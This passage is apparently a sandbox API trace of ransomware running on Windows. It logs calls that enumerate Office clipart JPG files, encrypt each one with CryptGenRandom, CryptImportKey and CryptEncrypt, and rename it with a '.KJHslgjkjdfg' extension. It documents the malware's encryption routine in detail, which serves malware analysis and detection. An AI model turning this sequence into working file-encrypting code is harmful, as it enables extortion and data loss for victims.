[0201.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.kjhslgjkjdfg")) returned 1 [0201.880] CloseHandle (hObject=0x130) returned 1 [0201.880] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0201.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.881] GetProcessHeap () returned 0x990000 [0201.881] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.881] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.881] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.883] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.883] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.883] GetProcessHeap () returned 0x990000 [0201.883] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.883] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.883] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.884] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.884] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1531c, lpOverlapped=0x0) returned 1 [0202.024] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15320, dwBufLen=0x15320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15320) returned 1 [0202.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.025] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15320, lpOverlapped=0x0) returned 1 [0202.026] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x153f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.026] SetEndOfFile (hFile=0x130) returned 1 [0202.028] GetProcessHeap () returned 0x990000 [0202.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.028] GetProcessHeap () returned 0x990000 [0202.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.kjhslgjkjdfg")) returned 1 [0202.030] CloseHandle (hObject=0x130) returned 1 [0202.030] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0202.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.031] GetProcessHeap () returned 0x990000 [0202.031] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.031] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.031] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0202.033] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.033] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.033] GetProcessHeap () returned 0x990000 [0202.033] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.033] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.033] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.033] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.033] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.033] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.034] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.034] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.034] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.034] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ad37, lpOverlapped=0x0) returned 1 [0202.036] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ad40, dwBufLen=0x1ad40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ad40) returned 1 [0202.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.037] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ad40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ad40, lpOverlapped=0x0) returned 1 [0202.037] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ae14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.037] SetEndOfFile (hFile=0x130) returned 1 [0202.040] GetProcessHeap () returned 0x990000 [0202.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.040] GetProcessHeap () returned 0x990000 [0202.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.kjhslgjkjdfg")) returned 1 [0202.042] CloseHandle (hObject=0x130) returned 1 [0202.042] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0202.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.043] GetProcessHeap () returned 0x990000 [0202.043] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.043] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.043] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0202.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.045] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.045] GetProcessHeap () returned 0x990000 [0202.045] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.045] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.045] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.045] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.046] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.046] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.046] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.046] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.046] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.046] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x178d2, lpOverlapped=0x0) returned 1 [0202.048] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x178e0, dwBufLen=0x178e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x178e0) returned 1 [0202.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.049] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x178e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x178e0, lpOverlapped=0x0) returned 1 [0202.049] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x179b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.050] SetEndOfFile (hFile=0x130) returned 1 [0202.052] GetProcessHeap () returned 0x990000 [0202.052] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.052] GetProcessHeap () returned 0x990000 [0202.052] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.kjhslgjkjdfg")) returned 1 [0202.054] CloseHandle (hObject=0x130) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0202.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.055] GetProcessHeap () returned 0x990000 [0202.055] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.056] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.056] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0202.057] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.057] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.057] GetProcessHeap () returned 0x990000 [0202.057] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.057] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.057] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.057] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.057] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.057] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.057] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.057] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.057] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.057] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.058] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17749, lpOverlapped=0x0) returned 1 [0202.059] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17750, dwBufLen=0x17750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17750) returned 1 [0202.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.060] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17750, lpOverlapped=0x0) returned 1 [0202.060] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.060] SetEndOfFile (hFile=0x130) returned 1 [0202.062] GetProcessHeap () returned 0x990000 [0202.062] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.062] GetProcessHeap () returned 0x990000 [0202.062] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.kjhslgjkjdfg")) returned 1 [0202.063] CloseHandle (hObject=0x130) returned 1 [0202.063] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0202.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.064] GetProcessHeap () returned 0x990000 [0202.064] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.064] CryptGenRandom (in: 